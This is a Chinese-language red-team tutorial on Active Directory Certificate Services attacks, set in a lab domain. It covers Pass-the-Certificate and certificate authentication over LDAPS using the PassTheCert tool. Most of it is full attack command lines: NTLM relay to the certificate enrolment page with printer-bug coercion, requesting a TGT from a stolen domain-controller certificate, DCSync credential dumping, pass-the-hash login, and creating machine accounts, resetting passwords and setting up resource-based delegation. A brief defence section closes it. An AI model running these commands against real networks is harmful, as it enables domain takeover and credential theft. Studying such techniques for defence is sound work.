红队域渗透ADCS攻击:PTC攻击及域控证书的深入研究
字数 900 2025-08-06 18:07:47
红队域渗透ADCS攻击:PTC攻击及域控证书的深入研究
0x00 概述
本文详细介绍了两种重要的域渗透技术:
- 证书传递攻击(PTC):一种新的域内横向移动技术,使用证书进行Kerberos预认证
- 域控证书的另类使用:在域控不支持PKINIT的情况下,通过LDAPS使用证书进行认证的方法
0x01 PTC攻击(证书传递攻击)
基本概念
PTC(Pass the Certificate)攻击发生在Kerberos预认证阶段,攻击者使用证书向KDC发起验证,获取对应的TGT。这种攻击通常与以下技术配合使用:
- 影子证书(Shadow Credentials)
- AD CS攻击
- UnPAC-the-hash攻击
攻击环境
域控 - 20.20.20.5
辅域控(AD CS) - 20.20.20.6
域内主机 - 20.20.20.10
Kali - 20.20.20.100
攻击流程
-
获取域账户证书
# 监听器 python3 ntlmrelayx.py -debug -smb2support --target http://20.20.20.6/certsrv/certfnsh.asp --adcs --template DomainController # 强制认证 python3 printerbug.py hack.lab/spiderman:123.com@20.20.20.5 20.20.20.100 -
使用证书申请TGT
python3 gettgtpkinit.py -cert-pfx dc01.pfx hack.lab/DC01$ dc01.ccache -
后渗透操作
- 获取域控机器账户Hash
KRB5CCNAME=dc01.ccache python3 getnthash.py -key b12ef2da16bdd741749a2ec30e67f0507ba38d7bb72f1c11034bc7160be98e50 hack.lab/DC01$ - 执行DCSync攻击
KRB5CCNAME=dc01.ccache python3 secretsdump.py -k hack.lab/DC01\$@DC01.hack.lab -no-pass -just-dc-user administrator - Hash登录
python3 wmiexec.py -hashes :42e2656ec24331269f82160ff5962387 hack.lab/administrator@DC01.hack.lab -dc-ip 20.20.20.5
- 获取域控机器账户Hash
0x02 域控证书的另类使用
问题背景
当域控不支持PKINIT协议时,会出现以下错误:
"KDC has no support for PADATA type (pre-authentication data)"
解决方案
通过LDAPS协议使用证书进行认证:
- 证书可以用于SSL/TLS认证
- 通过Schannel安全包验证域用户
- 特别适用于启用了LDAP通道绑定的环境
工具介绍 - PassTheCert
C#版本
-
添加机器账户
PassTheCert.exe --add-computer --server DC01.hack.lab --cert-path NoPKI.pfx --computer-name NoPKI$ --computer-password 123.com -
重置密码
PassTheCert.exe --reset-password --target "CN=NoPKI,CN=Computers,DC=hack,DC=lab" --new-password QWEasdzxc --server DC01.hack.lab --cert-path NoPKI.pfx --computer-name NoPKI$ -
权限提升
PassTheCert.exe --elevate --sid S-1-5-21-3309395417-4108617856-2168433834-3607 --server DC01.hack.lab --cert-path NoPKI.pfx --target "CN=DC01,OU=Domain Controllers,DC=hack,DC=lab" -
RBCD攻击
# 创建机器账户 PassTheCert.exe --add-computer --server DC01.hack.lab --cert-path NoPKI.pfx --computer-name NoPKI$ --computer-password 123.com # 修改RBCD属性 PassTheCert.exe --rbcd --server DC01.hack.lab --cert-path NoPKI.pfx --target "CN=DC01,OU=Domain Controllers,DC=hack,DC=lab" --sid "S-1-5-21-3309395417-4108617856-2168433834-3603" -
痕迹清除
PassTheCert.exe --rbcd --server DC01.hack.lab --cert-path NoPKI.pfx --target "CN=DC01,OU=Domain Controllers,DC=hack,DC=lab" --restore
Python版本
-
添加机器账户
python3 passthecert.py -action add_computer -crt NoPKI02.crt -key NoPKI02.key -domain hack.lab -dc-ip 20.20.20.5 -computer-name NoPKI02$ -computer-pass 123.com -
RBCD攻击
# 添加RBCD属性 python3 passthecert.py -action write_rbcd -crt NoPKI02.crt -key NoPKI02.key -domain hack.lab -dc-ip 20.20.20.5 -delegate-from NoPKI02$ -delegate-to DC01$ # 读取RBCD属性 python3 passthecert.py -action read_rbcd -crt NoPKI02.crt -key NoPKI02.key -domain hack.lab -dc-ip 20.20.20.5 -delegate-from NoPKI02$ -delegate-to DC01$ # 清除RBCD属性 python3 passthecert.py -action remove_rbcd -crt NoPKI02.crt -key NoPKI02.key -domain hack.lab -dc-ip 20.20.20.5 -delegate-from NoPKI02$ -delegate-to DC01$
0x03 关键知识点总结
-
PTC攻击依赖条件:
- 域控支持PKINIT协议
- 能够获取到有效的域账户证书
-
证书的另类使用场景:
- 当域控不支持PKINIT时
- 目标启用了LDAPS协议
-
工具选择:
- C#版本功能更全面
- Python版本更适合Linux环境
-
防御建议:
- 监控异常证书申请行为
- 限制AD CS模板的使用权限
- 审计LDAP/LDAPS的认证日志